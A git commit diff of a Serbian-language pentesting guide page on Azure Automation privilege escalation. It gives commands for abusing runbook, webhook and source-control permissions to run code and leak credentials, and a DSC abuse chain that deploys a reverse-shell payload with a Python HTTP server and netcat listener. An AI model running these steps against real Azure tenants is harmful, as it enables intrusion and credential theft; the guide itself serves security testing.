Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-05-09 11:45:41 +00:00
parent d8d93dcd93
commit 5a89f51e39

View File

@@ -32,7 +32,7 @@ Kao što se može videti na sledećoj slici, imajući Administrator pristup nad
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i izvršavanje Runbooks** u Automation Account-u, što možete koristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account.
Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i izvršavanje Runbooks** u Automation Account-u, što možete iskoristiti za **izvršavanje koda** u kontekstu Automation Account-a i eskalaciju privilegija na dodeljene **Managed Identities** i curenje **akreditiva** i **kriptovanih varijabli** koje su pohranjene u Automation Account-u.
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikaciju koda Runbook-a u Automation Account-u koristeći:
```bash
@@ -56,7 +56,7 @@ az automation runbook publish \
--automation-account-name <account-name> \
--name <runbook-name>
```
Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account koristeći:
Dozvola **`Microsoft.Automation/automationAccounts/jobs/write`** omogućava korisniku da pokrene Runbook u Automation Account-u koristeći:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -138,27 +138,12 @@ az rest --method PUT \
### `Microsoft.Automation/automationAccounts/webhooks/write`
Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account koristeći sledeću komandu.
Napomena da ćete morati da **naznačite webhook URI** sa tokenom koji ćete koristiti.
Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account-a koristeći sledeću komandu.
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Ova komanda treba da vrati webhook URI koji se prikazuje samo prilikom kreiranja. Zatim, da pozovete runbook koristeći webhook URI
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
@@ -205,9 +190,9 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a sa nekim drugim dozvolama za pokretanje, bilo bi **moguće eskalirati privilegije**.
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a uz neke druge dozvole za pokretanje, bilo bi **moguće eskalirati privilegije**.
Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljana identitet, klijentski ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljani identitet, klijentski ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Imajte na umu da nije moguće promeniti URL repozitorijuma kontrole verzija nakon što je kreiran.
@@ -230,16 +215,16 @@ az rest --method PUT \
```
### Prilagođena Runtime Okruženja
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na taj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
### Kompromitovanje State Konfiguracije
### Kompromitovanje Konfiguracije Stanja
**Proverite ceo post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Korak 1 — Kreiranje Fajlova
**Potrebni Fajlovi:** Potrebna su dva PowerShell skripta:
1. `reverse_shell_config.ps1`: Fajl Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
1. `reverse_shell_config.ps1`: Fajl za Desired State Configuration (DSC) koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Skript za objavljivanje konfiguracije na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući imena resursa, putanje fajlova i identifikatore servera/payload-a.
@@ -252,7 +237,7 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she
```
- Korak 3 — Postavi kontekst skladišta i otpremi
Zipped konfiguracioni fajl se otprema u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet.
Zipped konfiguracioni fajl se otpremi u unapred definisani Azure Storage kontejner, azure-pentest, koristeći Azure-ovu Set-AzStorageBlobContent cmdlet.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
@@ -266,7 +251,7 @@ Skripta je uređena da specificira ciljni Windows VM i port za reverznu ljusku.
- Korak 5 — Objavi Konfiguracioni Fajl
Konfiguracioni fajl se izvršava, što rezultira time da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u.
Konfiguracioni fajl se izvršava, što rezultira u tome da se skripta za reverznu ljusku postavlja na određenu lokaciju na Windows VM-u.
- Korak 6 — Hostuj Payload i Postavi Listener
@@ -275,6 +260,6 @@ Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listen
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM.
Zakazani zadatak izvršava payload, postižući privilegije na nivou SYSTEM-a.
{{#include ../../../banners/hacktricks-training.md}}